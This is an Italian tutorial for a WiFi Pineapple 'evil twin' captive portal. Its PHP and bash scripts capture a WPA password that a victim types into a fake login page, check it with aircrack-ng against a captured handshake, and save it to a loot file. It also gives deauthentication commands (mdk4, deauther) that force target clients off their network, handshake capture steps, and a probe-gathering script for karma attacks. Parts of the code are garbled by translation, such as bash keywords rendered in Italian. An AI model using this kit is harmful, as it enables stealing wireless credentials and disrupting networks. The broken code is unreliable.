$command = 'bash auther.sh'; - Impostiamo quindi una nuova variabile "command" che verrà utilizzata per eseguire il nostro script bash per eseguire il comando aircrack con alcuni controlli aggiuntivi.

$descriptors = [ - Definiamo quindi una nuova variabile "descriptors".

0 => ['pipe', 'r'], // stdin - Qui impostiamo i descrittori di file per proc_open usando un operatore per creare una "pipe" da usare per il processo figlio e usiamo "r" per passare l'estremità di lettura della pipe al processo.

1 => ['pipe', 'w'], // stdout - Similmente a quanto detto sopra, facciamo lo stesso per lo standard output.

2 => ['pipe', 'w'], // stderr - Come sopra, facciamo lo stesso per lo standard error.

// Ottenere la password dal modulo if (isset($_POST['password'])) { $password = $_POST['password']; // Sostituire il contenuto del file con la nuova password $filePath = '/tmp/airport_attempt_tmp.txt'; file_put_contents($filePath, $password . PHP_EOL, LOCK_EX); // LOCK_EX assicura il blocco esclusivo // Comando per eseguire lo script bash locale $command = 'bash auther.sh'; // Specificare le pipe per stdin, stdout e stderr $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'], // stderr ];

$process = proc_open($command, $descriptors, $pipes); - Qui definiamo una nuova variabile "process" e usiamo proc_open con il "command" che vogliamo eseguire. I descrittori (descriptor_spec) che abbiamo definito con le "pipe" significano che questo sarà impostato su un array indicizzato di puntatori a file (i descrittori).

if (is_resource($processo)) { - Si usa quindi is_resource per verificare che una variabile sia una risorsa. Ciò significa che controlla che il processo della variabile sia stato aperto con successo.

fclose($pipes[0]); - Usiamo quindi fclose per chiudere il puntatore al file per 0 (stdin), poiché non viene utilizzato alcun input.

$output = stream_get_contents($pipes[1]); - Utilizziamo quindi stream_get_contents per leggere il resto di un flusso in una stringa per il flusso pipe 1 (stdout).

fclose($pipes[1]); - Chiudiamo quindi l'output standard delle pipe rimanenti.

fclose($pipes[2]); - Chiudiamo quindi la pipe standard error.

$returnValue = proc_close($processo); - Definiamo quindi una nuova variabile returnValue che utilizza proc_close per chiudere il processo e restituire il codice di uscita del processo alla variabile.

echo " "; - Si fa un'eco di una riga vuota, per assicurarsi che non venga dato alcun risultato nel log della console. Questa prima istruzione echo serve a visualizzare una risposta di successo dello script.

} else { - Questa istruzione else, se la prima condizione è falsa, significa che il processo non è riuscito ad aprirsi.

echo " "; - Qui utilizziamo un altro echo per visualizzare un messaggio se il processo non è riuscito ad aprirsi. Anche in questo caso viene lasciato vuoto (ho usato un singolo spazio bianco per tagliarlo più tardi nella funzione run_test, per assicurarmi che non venga dato alcun output effettivo, compresa la "stringa vuota".

} else { - Questa istruzione else si attiverà se non è stata trovata alcuna password nel corpo del modulo.

echo " "; - Il messaggio echo che potremmo usare per visualizzare un messaggio nella console se la password non è stata trovata nella richiesta del modulo.

> - È il tag di chiusura di un blocco di codice PHP.

   // Apriamo il processo $process = proc_open($command, $descriptors, $pipes); if (is_resource($process)) { // Chiudiamo stdin (nessun input) fclose($pipes[0]); // Leggiamo l'output del processo $output = stream_get_contents($pipes[1]); // Chiudiamo le pipe fclose($pipes[1]);
        fclose($pipes[2]); // Chiudere il processo $returnValue = proc_close($process); // Visualizzare un messaggio di risposta echo " "; } else { // Fallita apertura del processo echo " "; } } else { // Password non ricevuta dal modulo echo " "; } ?>

risultato di run_test.php:

Ecco l'output finale di runTest.php

<?php // run_test.php // Imposta le intestazioni di controllo della cache header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); // Ottiene la password dal form if (isset($_POST['password'])) { $password = $_POST['password']; // Sostituire il contenuto del file con la nuova password $filePath = '/tmp/airport_attempt_tmp.txt'; file_put_contents($filePath, $password . PHP_EOL, LOCK_EX); // LOCK_EX assicura il blocco esclusivo // Comando per eseguire lo script bash locale $command = 'bash auther.sh'; // Specificare le pipe per stdin, stdout e stderr $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w']. ['pipe', 'w'], // stderr ]; // Aprire il processo $process = proc_open($command, $descriptors, $pipes); if (is_resource($process)) { // Chiudere stdin (nessun input) fclose($pipes[0]);

        // Leggere l'output del processo $output = stream_get_contents($pipes[1]); // Chiudere le pipe fclose($pipes[1]); fclose($pipes[2]); // Chiudere il processo $returnValue = proc_close($processo); // Visualizzare un messaggio di risposta echo " "; } else { // Fallita apertura del processo echo " "; } } else { // Password non ricevuta dal modulo echo " "; } ?>

Creare auther.sh

Questo è lo script responsabile dell'esecuzione del cracking e della rimozione delle sequenze di escape ANSI che aircrack sembra produrre quando si usa l'operatore di reindirizzamento >.

Anche qui spiegherò cosa sta succedendo:

#!/bin/bash - Questo è chiamato shebang e punta essenzialmente all'interprete che vogliamo usare quando eseguiamo lo script (nel nostro caso vogliamo eseguire bash che è Borne Again Shell).

BSSID= - È una variabile di bash che viene utilizzata per impostare il nostro "BSSID" di destinazione, che verrà inserito nel comando aircrack.

CAP_LOC="/root/demo.cap" - Definiamo quindi una nuova variabile "CAP_LOC" per il file di cattura dell'handshake di airodump-ng.

TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" - Qui definiamo una nuova variabile "TEMP_ATTEMPT" che contiene il percorso del nostro file di tentativo, dove la password attualmente inserita dall'utente sarà memorizzata e passata ad aircrack.

TEMP_CREDS="/tmp/airport_creds_tmp.txt" - Qui definiamo un'altra variabile "TEMP_CREDS" che viene utilizzata per inviare la password corretta, nel caso in cui la password venga decifrata con successo, la chiave trovata con la password verrà memorizzata qui.

LOOT_FILE="/root/airport_loot.txt" - Qui definiamo un'altra variabile "LOOT_FILE" in cui vogliamo che venga spostata la password craccata, in modo che non venga sovrascritta se l'utente fa clic e inserisce una nuova password sbagliata.

#!/bin/bash BSSID="00:1E:2A:BE:EF:00" # Adatta questo al tuo obiettivo CAP_LOC="/root/demo.cap" # punta al tuo file cap TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" # Lista di parole in ingresso TEMP_CREDS="/tmp/airport_creds_tmp.txt" # file di bottino tmp per evitare che il bottino venga sovrascritto LOOT_FILE="/root/airport_loot.txt" # file di bottino con password craccata

Ora spiegherò cosa sta succedendo con il comando aircrack, in modo che possiate capirlo meglio.

aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}""${CAP_LOC}" - Qui eseguiamo aircrack con l'opzione -a 2 che significa che stiamo craccando una passphrase WPA-PSK. Usiamo -b ${BSSID} per specificare il BSSID che vogliamo colpire e passiamo qui il valore della nostra variabile. Utilizziamo poi il flag -w, che è la wordlist da utilizzare con i valori "${TEMP_ATTEMPT}" "${CAP_LOC}", che punta alle nostre variabili contenenti il file di tentativo e la posizione di acquisizione.

| Questa è chiamata pipeline e ci permette di prendere il risultato del primo comando e passarlo a un altro comando. Nel nostro caso passiamo il risultato del comando aircrack a grep.

grep -m 1 "KEY FOUND!"| - Usiamo quindi grep per trovare e fermare la prima occorrenza usando "-m 1" con la parola seguente "KEY FOUND!", che se il crack è andato a buon fine, sarà nel file di output. Quindi, si invia in pipe l'output del comando grep.

sed -E "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?[mGKFH]//g" > "${TEMP_CREDS}" - Qui usiamo sed con il flag "-E" per un'espressione regolare.

Ora scomporrò questa regex:

s/ - Indica un'operazione di ricerca e sostituzione in sed.

\x1B - Corrisponde a un codice di escape ANSI in esadecimale.

\[ - Corrisponde alla stringa letterale "[".

(..)? - Questo fa corrispondere un gruppo di schemi insieme.

[0-9]{1,2} - Corrisponde a una o due cifre.

(;[0-9]{1,2})* - Corrisponde a zero o più occorrenze di un punto e virgola seguito da una o due cifre.

[mGKFH] - Corrisponde a un singolo carattere dell'insieme di caratteri qui presenti (mGKFH).

// - È un delimitatore utilizzato per separare i componenti del comando di sostituzione sed.

g - Questo flag sta per global, indica a sed di eseguire la sostituzione su ogni riga del testo in ingresso. (Una singola riga nel nostro caso).

L'insieme di questi elementi rimuove perfettamente i caratteri ANSI indesiderati dall'output KEY FOUND per un output più pulito e leggibile.

La parte finale del comando sed:

> "${TEMP_CREDS}" - Utilizza l'operatore di redirect per sovrascrivere il contenuto del file "TEMP_CREDS" con i risultati del comando sed.

# Esegue aircrack-ng e memorizza il risultato nel file temporaneo aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}" "${CAP_LOC}" | grep -m 1 "KEY FOUND!" | sed -E "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?[mGKFH]//g" > "${TEMP_CREDS}"

if grep -q "CHIAVE TROVATA!""${TEMP_CREDS}"; then - Si utilizza quindi un'istruzione if con il flag "grep -q", che significa "quiet", cioè non scrivere sullo standard output. Si cerca la dicitura "KEY FOUND!" all'interno del file /tmp/airport_creds_tmp.txt, se viene trovata si prosegue.

cp "${TEMP_CREDS}""${LOOT_FILE}" - Se quanto sopra è vero, il file della password craccata viene copiato in /root/airport_loot.txt per essere conservato.

else - Qui si usa un'istruzione else, quindi se quanto sopra è falso, si esegue il comando seguente.

exit 1 - Nel nostro caso, usciamo semplicemente dallo script con un codice di stato 1, che indica un errore o un fallimento.

fi - Questo comando viene utilizzato per terminare l'istruzione if.

# Controlla se la password è corretta if grep -q "KEY FOUND!" "${TEMP_CREDS}"; allora cp "${TEMP_CREDS}" "${LOOT_FILE}"  # Copia il file temporaneo nella posizione finale else exit 1 # Non fare nient'altro se la password non viene trovata. fi

Dovremmo avere un file che assomiglia al risultato seguente.

auther.sh Risultato:

#!/bin/bash BSSID="00:1E:2A:BE:EF:00" # Adatta questo al tuo obiettivo CAP_LOC="/root/demo.cap" # punta al tuo file di cap TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" # Lista di parole in ingresso TEMP_CREDS="/tmp/airport_creds_tmp.txt" # file loot tmp per evitare che il loot venga sovrascritto LOOT_FILE="/root/airport_loot.txt" # file loot con la password craccata # Eseguire aircrack-ng e memorizzare il risultato nel file temporaneo aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}" "${CAP_LOC}" | grep -m 1 "KEY FOUND!" | sed -E "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?[mGKFH]//g" > "${TEMP_CREDS}" # Controlla se la password è corretta se grep -q "KEY FOUND!" "${TEMP_CREDS}"; allora cp "${TEMP_CREDS}" "${LOOT_FILE}"  # Copia il file temporaneo nella posizione finale else exit 1 # Non fare nient'altro se la password non viene trovata. fi

NOTA: È assolutamente necessario cambiare il "BSSID" in questo script con il BSSID dell'obiettivo, in quanto è questo che aircrack cercherà nel file .cap.

Possiamo ignorare "CAP_LOC" per ora, ma ricordiamolo perché dovremo tornare indietro e cambiare la posizione se abbiamo memorizzato questo file altrove o se lo abbiamo chiamato in un altro modo.

Creare Checking.php

Creeremo il file checking.php. Questo sarà responsabile di tre cose:

  1. Controllare che il file creds esista.
  2. Controllare il valore di rueay.
  3. Controllare il valore di aclallow.

Anche in questo caso, come in precedenza, analizzeremo ciò che sta accadendo:

<?php - Come prima, iniziamo il nostro blocco di codice PHP.

header("Cache-Control: no-store, no-cache, must-revalidate"); - Analogamente a quanto fatto in precedenza, impostiamo gli header di controllo della cache.

header("Pragma: no-cache"); - Qui impostiamo l'header Pragma per le cache più vecchie.

header("Expires: 0"); - Qui impostiamo l'header Expires con il valore 0.

$filePath = '/tmp/airport_creds_tmp.txt'; - Definiamo quindi una nuova variabile filePath con il valore del percorso dei nostri file creds.

$rueayPath = '/tmp/airport_rueay.txt'; - Analogamente a quanto detto sopra, impostiamo il percorso per la variabile rueayPath.

$aclAllowPath = '/tmp/airport_aclallow.txt'; - Qui definiamo la variabile aclAllowPath che punta al nostro file airport_aclallow.txt, che conterrà il valore "true" se l'utente ha selezionato la casella di controllo in default.php.

if (file_exists($filePath)) { - Utilizziamo quindi un'istruzione if con file_exists per verificare l'esistenza del filePath.

$fileHandle = fopen($filePath, 'r'); - Se l'affermazione precedente è vera, definiamo una nuova variabile fileHandle che usa fopen per aprire il "filePath" con la modalità 'r', cioè aperta solo in lettura.

if ($fileHandle !== false) { - Facciamo quindi una successiva dichiarazione if per verificare che il valore di "fileHandle" (il nostro file aperto) non sia uguale a false, in caso affermativo eseguiamo il codice successivo.

echo '<div style="text-align: center; margin-top: 20vh; font-size: 30px;">AUTHORIZING, PLEASE WAIT...</div>'; - Se l'istruzione precedente non è uguale a false, allora "echo" un elemento "div" alla pagina con gli stili text-align:, center;, margin-top: 20vh; e font-size: 30px con il messaggio "Authorizing, Please Wait".

<?php // Impostare le intestazioni di controllo della cache header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $filePath = '/tmp/airport_creds_tmp.txt'; $rueayPath = '/tmp/airport_rueay.txt'; $aclAllowPath = '/tmp/airport_aclallow.txt'; // Controlla se il file esiste if (file_exists($filePath)) { // Prova ad aprire il file $fileHandle = fopen($filePath, 'r'); if ($fileHandle !== false) { // Visualizza "AUTORIZZAZIONE, SI PREGA DI ATTENDERE..." al centro dello schermo echo '<div style="text-align: center; margin-top: 20vh; font-size: 30px;">AUTORIZZAZIONE, SI PREGA DI ATTENDERE...</div>';

$ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1'; - Definiamo quindi una nuova variabile ACLAllowTrue che utilizza isset per verificare che la richiesta GET effettuata contenga il parametro URL "ACLAllow" e che il parametro sia rigorosamente uguale a 1, quindi proseguiamo.

if ($ACLAllowTrue) { - Si utilizza un'altra istruzione if successiva per verificare che ACLAllowTrue abbia un valore vero, in caso affermativo si prosegue.

file_put_contents($aclAllowPath, "true\n"); - Se l'istruzione if di cui sopra è vera, usiamo file_put_contents per selezionare il percorso del file su cui scrivere che è aclAllowPath e scriviamo il contenuto "true" con una newline sul file.

} else { - Ecco l'istruzione else per il caso in cui quanto sopra sia falso.

file_put_contents($aclAllowPath, ''); - Se quanto sopra è falso, facciamo la stessa cosa, ma non scriviamo alcun dato sul file.

while (($line = fgets($fileHandle)) !== false) { - Utilizziamo quindi un ciclo while e impostiamo una variabile chiamata "line" che utilizza fgets per ottenere una riga dalla risorsa "fileHandle" che è aperta.

if (preg_match('/KEY\s*FOUND/', $line, $matches)) { - Utilizziamo quindi un'altra istruzione if successiva che utilizza preg_match per eseguire una ricerca regex per /KEY\s*FOUND/ dell'oggetto "line", che viene poi memorizzato in "matches", che viene riempito con i risultati della ricerca preg_match.

file_put_contents($rueayPath, "true\n"); - Quindi, come sopra, usiamo file_put_contents per scrivere sul file reuayPath il contenuto di true\n.

echo '<script>'; - Iniziamo quindi a fare un frammento di JavaScript per gestire il reindirizzamento.

echo 'setTimeout(function() {'; - Qui viene eseguita la funzione setTimeout.

echo ' window.location.href="/it/correct.php";'; - Qui usiamo window.location.href per reindirizzare l'utente a /correct.php (perché se tutte le condizioni precedenti sono soddisfatte, l'utente dovrebbe poter visitare la pagina correct.php).

echo '}, 1000);'; - Poi facciamo l'eco del timer per lo script.

echo '</script>"; - Quindi si fa eco al restante tag di chiusura dello script.

fclose($fileHandle); - Utilizziamo quindi fclose per chiudere il puntatore al file "fileHandle".

exit(); - Si esce dallo script corrente dopo il reindirizzamento.

       // Verificare se ACLAllow è controllato $ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1'; if ($ACLAllowTrue) { // Scrivere "true" in un nuovo file file_put_contents($aclAllowPath, "true\n");
        } else { // Se ACLAllow non è controllato, sovrascrive il file con una stringa vuota file_put_contents($aclAllowPath, ''); } // Prova a leggere il file riga per riga while (($line = fgets($fileHandle)) !== false) { // Usare una regex più permissiva per catturare "KEY FOUND!" e ignorare il resto if (preg_match('/KEY\s*FOUND/', $line, $matches)) { file_put_contents($rueayPath, "true\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/it/correct.php";'; echo '}, 1000);'; // 1000 millisecondi (1 secondo) di ritardo echo '</script>'; fclose($fileHandle); exit(); // Esce dallo script dopo il reindirizzamento } }

fclose($fileHandle); - Qui chiudiamo nuovamente il puntatore al file se il ciclo while è uguale a false.

file_put_contents($rueayPath, "false\n"); - Utilizziamo quindi file_put_contents per scrivere false\n in "rueauPath". Ciò significa che è stata inserita una password errata e l'utente non è autorizzato a visualizzare correct.php.

echo '<script>"; - Poi, come sopra, vogliamo fare un'eco dello stesso script, ma adattando la pagina che vogliamo che l'utente visiti. Nel nostro caso, se il ciclo while è uguale a false, mandiamo l'utente alla pagina incorrect.php.

echo 'setTimeout(function() {'; - Ancora una volta facciamo eco alla funzione setTimeout.

echo ' window.location.href="/it/incorrect.php";'; - Proprio come prima, riecheggiamo il window.location.href con la pagina /incorrect.php.

echo '}, 1000);'; - Qui facciamo eco al timer.

echo '</script>"; - E infine concludiamo facendo eco al tag di chiusura dello script.

} else { - Utilizziamo quindi l'istruzione else, in modo che se il fileHandle è uguale a false, visualizziamo alcuni messaggi di errore.

echo 'Errore nell'apertura del file: ' . $filePath; - Viene emesso un messaggio di errore per l'apertura del file con il valore concatenato di filePath se l'istruzione if per il fileHandle è effettivamente uguale a false.

} else { - Utilizziamo poi un'altra istruzione else per il caso in cui il file non venga trovato.

echo 'File not found: ' . $filePath; - Qui facciamo eco a 'File not found', se il file non può essere trovato con il valore concatenato di "filePath".

       // Chiudiamo il file handle fclose($fileHandle); // Se "KEY FOUND!" non è stato trovato in nessuna riga file_put_contents($rueayPath, "false\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/it/incorrect.php";'; echo '}, 1000);'; // 1000 millisecondi (1 secondo) di ritardo echo '</script>'; } else { // Errore nell'apertura del file echo 'Errore nell'apertura del file: ' . $filePath; } } else { // Il file non esiste echo 'File not found: ' . $filePath; } ?>

Si dovrebbe quindi ottenere una pagina Checking.php con l'aspetto seguente.

Risultato di Checking.php:

Qui di seguito è riportato l'output finale di Checking.php

<?php // Imposta le intestazioni di controllo della cache header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $filePath = '/tmp/airport_creds_tmp.txt'; $rueayPath = '/tmp/airport_rueay.txt'; $aclAllowPath = '/tmp/airport_aclallow.txt'; // Controlla se il file esiste if (file_exists($filePath)) { // Prova ad aprire il file $fileHandle = fopen($filePath, 'r'); if ($fileHandle !== false) { // Visualizza "AUTORIZZAZIONE, SI PREGA DI ATTENDERE..." al centro dello schermo echo '<div style="text-align: center; margin-top: 20vh; font-size: 30px;">AUTORIZZAZIONE, SI PREGA DI ATTENDERE...</div>'; // Verifica se ACLAllow è selezionato $ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1'; if ($ACLAllowTrue) { // Scrive "true" in un nuovo file file_put_contents($aclAllowPath, "true\n");
        } else { // Se ACLAllow non è controllato, sovrascrive il file con una stringa vuota file_put_contents($aclAllowPath, ''); } // Prova a leggere il file riga per riga while (($line = fgets($fileHandle)) !== false) { // Utilizza una regex più permissiva per catturare "KEY FOUND!" e ignorare il resto if (preg_match('/KEY\s*FOUND/', $line, $matches)) { file_put_contents($rueayPath, "true\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/it/correct.php";'; echo '}, 1000);'; // 1000 millisecondi (1 secondo) di ritardo echo '</script>'; fclose($fileHandle); exit(); // Esce dallo script dopo il reindirizzamento } } // Chiude il file handle fclose($fileHandle); // Se "KEY FOUND!" non è stato trovato in nessuna riga file_put_contents($rueayPath, "false\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/it/incorrect.php";'; echo '}, 1000);'; // 1000 millisecondi (1 secondo) di ritardo echo '</script>'; } else { // Errore nell'apertura del file echo 'Errore nell'apertura del file: ' . $filePath; } } else { // Il file non esiste echo 'Il file non è stato trovato: ' . $filePath; } ?

Uno sguardo visivo

  1. Predefinito.php

1  Default php

  1. Controllo.php

Checking

  1. Errato.php

Incorrect

  1. Predefinito con popover

4  Default popover

  1. Correct.php con ACLMessage

Correct with ACLMessage

  1. Corretto.php senza ACLMessage

6  Correct php without ACLMessage

  1. Notifica del portale visitato:

Portal Visit

  1. Notifica della password del portale:

Password Capture

  1. Registri per l'aeroporto:

Logs

Il completamento del 4-Way Handshake.

Prima di iniziare, vorrei ricordare che ho due interfacce da usare (MK7 wlan1 + MK7AC wlan3), quindi ne userò una per catturare e una per deautenticare. Se non si dispone di questa configurazione, si può semplicemente ascoltare e deautenticare utilizzando la stessa interfaccia. Ho anche incluso un file demo.cap con la password pineapplesareyummy per testare il captive portal.

NOTA: Se si utilizza il metodo 2, potrebbe essere necessario avere uno "schermo" o due terminali aperti per poter ascoltare con airodump e deautenticare il client con mdk4.

Inoltre è meglio usare airodump-ng per catturare l'handshake, poiché ho notato che molte volte, quando si usa la WebUI, l'MK7, anche con un pcap "completo", manca di 1-2 chiavi o ha catturato le chiavi su due canali diversi che sono vicini tra loro (3 e 4). Il minimo assoluto richiesto da aircrack-ng è 1 beacon frame o probe response packet contenente l'SSID + le chiavi dei pacchetti EAPOL da 1 a 4.

contenuto di demo.cap:

10  Aircrack required packets

Se sono presenti più pacchetti EAPOL ritrasmessi, selezionare il primo pacchetto EAPOL, come mostrato nell'immagine seguente. Nel nostro esempio abbiamo più ritrasmissioni della chiave "3 di 4", quindi selezionando il primo "3 di 4" si otterrà il pacchetto iniziale trasmesso.

11  Wireshark Key Order

La WebUI è il modo più semplice per trovare un client e deautenticarlo, ma naturalmente se si ha un metodo preferito di deautenticazione va benissimo. Assicuratevi solo che sia fatto con mdk4 o deauther.

Metodo 1: WebUI

Per prima cosa, cerchiamo di trovare un client da deautenticare:

  1. Nell'interfaccia Web, fare clic sulla scheda Riconoscimento.
  2. Impostare la durata della scansione su 5 minuti.
  3. Avviare la scansione e lasciare che l'elenco si riempia.

NOTA: se dopo i primi 5 minuti non si vede ancora alcun client, verificare che il client stia utilizzando la banda wireless a 2,4 GHz. In tal caso, aumentare la durata della scansione a 10 minuti.

  1. Una volta ottenuto il BSSID del client di destinazione, effettuare l'accesso SSH al Pineapple e lanciare miniairo o airodump-ng:

airodump-ng:airodump-ng --bssid BSSID --channel CHANNEL --write psk <interface>.

miniairo:./miniairo -i <interfaccia> -b BSSID -T 120 -c CHANNEL -W psk.

  1. Ora, nel terminale WebUI, lanciare deauther, airedeauth o MDK4:

mdk4:mdk4 wlan1mon -S CLIENT_BSSID -c CHAN.

deauther:./deauther -i wlan1mon -s STA_BSSID -c CHAN -d 5 -w 1 -r 1 -p 1.

airedeauth:./airedeauth -i wlan1mon -a AP_BSSID -s STA_BSSID -c CHAN.

  1. Una volta visualizzato "WPA Handshake", lasciare che l'operazione venga eseguita per qualche secondo e poi premere "CTRL+C". (Il flag "-T 120" di miniairo fa uscire lo script dopo 2 minuti, il tempo dovrebbe essere sufficiente, ma si può aumentare se necessario).
  2. Ora controllate che l'handshake abbia un numero di pacchetti di cattura sufficiente, compresi i pacchetti EAPOL, per eseguire un crack con successo.

Metodo 2: pura CLI

richiede:screen

Installare:opkg install screen

Qui vi spiegherò come farlo solo in CLI:

  1. Avviare miniairo o airodump-ng:

airodump-ng:airodump-ng --channel CHAN --bssid BSSID wlan1mon.

miniairo:./miniairo -i wlan1mon -c CHAN -b BSSID.

  1. Individuare il client di destinazione e copiare il BSSID.

  2. Avviare una nuova sessione di schermo: screen -S capture.

  3. Avviare airodump-ng o miniairo:

airodump-ng:airodump-ng --channel CHAN --bssid BSSID --write demo wlan1mon.

miniairo:./miniairo -i wlan1mon -c CHAN -b BSSID -T 120 -W demo.

Il flag "-T 120" di miniairo farà uscire lo script dopo 2 minuti, un tempo che dovrebbe essere sufficiente, ma che può essere aumentato se necessario.

  1. Una volta in esecuzione, staccare la sessione dello schermo con la combinazione di tasti "CTRL+a d".
  2. Eseguite mdk4, deauther o airedeauth:

mdk4:mdk4 wlan1mon d -c CHAN -S STA_BSSID -s 1.

deauther:./deauther -i wlan1mon -c CHAN -s STA_BSSID -d 5 -w 1 -r 1 -p 1.

airedeauth:./airedeauth -i wlan1mon -a AP_BSSID -s STA_BSSID -c CHAN.

  1. Una volta che il client è stato deautenticato, possiamo tornare alla sessione dello schermo e attendere l'handshake usando screen -r capture.
  2. Una volta ottenuto l'handshake e per uscire dalla sessione di schermo, si può usare "CTRL+C" per terminare miniairo o airodump-ng, e poi digitare exit per chiudere l'emulatore di terminale.
  3. Verificare che l'handshake contenga i pacchetti richiesti.

Questo metodo, se il tempo non è essenziale, segue queste semplici istruzioni; è il metodo migliore e meno odioso per catturare gli handshake ed è quello che preferisco. La chiave di questo metodo è non avere fretta di catturare la stretta di mano e aspettare pazientemente. Alla fine avverrà un normale scambio di chiavi.

  1. Nell'interfaccia Web, fare clic sulla scheda Recon.
  2. Impostare la durata della scansione su 5 minuti.
  3. Avviare la scansione e lasciare che l'elenco si riempia.
  4. Al termine della scansione, fare clic su AP di destinazione.
  5. Fare clic su "Cattura handshake WPA".
  6. Fare clic su "Avvia cattura".
  7. Prendete un drink e aspettate pazientemente la stretta di mano.

Si può anche utilizzare bpineap per eseguire questa operazione in CLI:

./bpineap start_handshake_capture AP_BSSID CHANNEL

Una volta catturato l'handshake, possiamo eseguire un test su di esso per assicurarci di avere i pacchetti necessari affinché aircrack esegua con successo il recupero della password dopo aver fornito la password corretta.

Per fare ciò, si può usare quanto segue:

aircrack-ng -a 2 -c CHANNEL -b BSSID -w EMPTYFILE.txt demo.cap

Se si ottengono messaggi di errore diversi da "KEY NOT FOUND", allora non si dispone dei pacchetti necessari per eseguire con successo un tentativo di cracking della password con il captive portal e si dovrebbe provare a catturare nuovamente l'handshake, se possibile.

Tuttavia, se si ottiene semplicemente:

KEY NOT FOUND

allora si dispone dei pacchetti necessari per il funzionamento.

NOTA: Ci sono numerose ragioni per cui aircrack potrebbe non trovare i pacchetti richiesti. Per questo motivo è meglio catturare qualcosa di più dei soli messaggi EAPOL; è possibile ripulire l'handshake un po' più avanti usando wireshark su un'altra macchina.

(Facoltativo) Cattura pulita con Wireshark:

NOTA: è necessario eseguire questa operazione su un'altra macchina in grado di aprire wireshark.

È possibile ripulire la cattura semplicemente aprendo il file .cap e digitando:

wlan.sa == AP-MAC && wlan.da == STA-MAC || wlan.da == AP-MAC && wlan.sa == STA-MAC || wlan.fc.type_subtype == 0x0008

Inserendo i valori di STA-MAC con il BSSID delle stazioni di destinazione e AP-MAC con il BSSID dei punti di accesso, noterete che anche qui utilizziamo gli operatori logici AND e OR!

Tenere premuto CTRL e fare clic con il pulsante sinistro del mouse sul beacon contenente l'SSID dell'AP di destinazione e i 4 messaggi chiave EAPOL all'AP e a una stazione.

Quindi fare clic su "File" > "Esporta pacchetti specificati" > "Solo pacchetti selezionati".

Ricordare di utilizzare l'estensione del file .cap.

È possibile anche specificare un intervallo di pacchetti da esportare, ad esempio nel mio demo.cap ho esportato pacchetti specifici da un intervallo di 719-923. Questo è stato poi ulteriormente perfezionato con la selezione manuale di una singola risposta della sonda + le 4 chiavi EAPOL iniziali.

Con questo si conclude la sezione del captive portal , ricordandovi di cambiare il BSSID in auther.sh per farlo puntare al BSSID del vostro obiettivo.

Le cose che si vogliono/devono cambiare:

  1. $essid nelle pagine default.php, incorrect.php e correct.php
  2. BSSID in auther.sh (obbligatorio)
  3. CAP_LOC in auther.sh se si intende usare un nome o un percorso diverso. (Richiesto)
  4. immagine di sfondo in style.css
  5. immagine del logo nelle pagine default.php e incorrect.php.

Siete arrivati fin qui, quindi eccovi qualche chicca!

Oltre a fornirvi il captive portal (che siete liberi di modificare in qualsiasi modo riteniate opportuno), ho realizzato alcuni script bash utilizzando ChatGPT e ho apportato io stesso alcune modifiche personalizzate che mi hanno aiutato durante la realizzazione di tutti questi test.

Come regalo, vorrei condividerli con voi, ma prima di tutto.

DISCLAIMER:

Tenete presente che queste modifiche non sono del tutto ben fatte. Potrebbero anche esserci dei potenziali bug, tuttavia svolgono le operazioni previste!

Utilizzateli a vostro rischio e pericolo!

Io stesso (amec0e) e LAB401 non ci assumiamo alcuna responsabilità per eventuali usi impropri o conseguenze indesiderate derivanti dall'uso di questi strumenti.

Questi strumenti sono forniti con l'aspettativa che gli utenti rispettino tutte le leggi e le normative vigenti. Essi sono destinati esclusivamente a scopi educativi e di ricerca.

Nota bene: io stesso (amec0e) e Lab401 NON forniamo supporto per questi strumenti.

Detto questo, ecco l'elenco:

macspoof:proprio come sembra, usa macchanger -r per il random o permette l'inserimento manuale. Tre opzioni tra cui scegliere: wlan1, wlan3 (se si dispone dell'adattatore MK7AC o di una scheda compatibile), wlan2. Utilizza anche "monitor_vif" per preparare le interfacce virtuali come fa pineapple quando si seleziona un'interfaccia di ricognizione dalla webUI di pineapple, in modo da avere le interfacce wlan3 e wlan3mon invece di una sola.

miniairoSi tratta di un piccolo wrapper attorno al comando airodump-ng, in quanto c'erano opzioni che mi piaceva usare spesso (uptime, manufacturer, wps) ma volevo essere un po' pigro e non dover digitare ogni volta tutti i comandi nella loro interezza. È presente un menu di aiuto.

gather_probesPrende il log.db delle attività, lo copia in tmp ed estrae gli ESSID e i BSSID dal log usando sqlite3-cli. Utilizza quindi "sort" e "uniq" e produce un file chiamato probes1.txt (crea una nuova directory chiamata gprobes in root e incrementa i nomi dei file di output). Questo è utile per verificare la presenza di potenziali vittime di attacchi karma e di nuovi SSID non presenti nel proprio pool di SSID. È anche possibile escludere gli SSID dal file di output usando un file di input di SSID (uno per riga).

